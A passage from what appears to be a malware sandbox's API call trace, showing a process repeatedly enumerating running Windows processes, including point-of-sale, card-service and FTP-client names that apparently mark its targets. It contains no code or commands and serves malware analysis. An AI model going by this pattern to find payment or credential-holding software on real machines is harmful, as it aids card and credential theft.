th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0247.610] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0247.613] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0247.615] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0247.617] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0247.732] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0247.735] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0247.738] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0247.740] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0247.743] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0247.746] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0247.750] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0247.753] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0247.755] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0247.758] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0247.761] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0247.764] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0247.767] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0247.769] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0247.772] CloseHandle (hObject=0x2198) returned 1 [0247.772] Sleep (dwMilliseconds=0x64) [0247.870] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2198 [0247.891] Process32First (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0247.894] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0247.897] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0247.899] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0247.910] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0247.913] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0247.916] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0247.922] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0247.925] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0247.928] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.932] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.934] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0247.937] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.940] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.943] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.979] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.982] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.985] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.988] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.990] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0247.993] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0247.995] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0247.998] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.001] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0248.003] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0248.006] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0248.009] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0248.014] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0248.017] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0248.020] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0248.022] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.028] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0248.032] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0248.035] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0248.038] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.041] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0248.043] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0248.048] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0248.051] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0248.054] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0248.057] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0248.060] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0248.063] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0248.066] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0248.069] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0248.072] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0248.075] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0248.077] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0248.082] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0248.086] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0248.089] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0248.091] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0248.201] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0248.203] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0248.207] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0248.210] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0248.212] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0248.215] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0248.221] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0248.224] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0248.231] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0248.235] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0248.238] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0248.243] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0248.246] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, 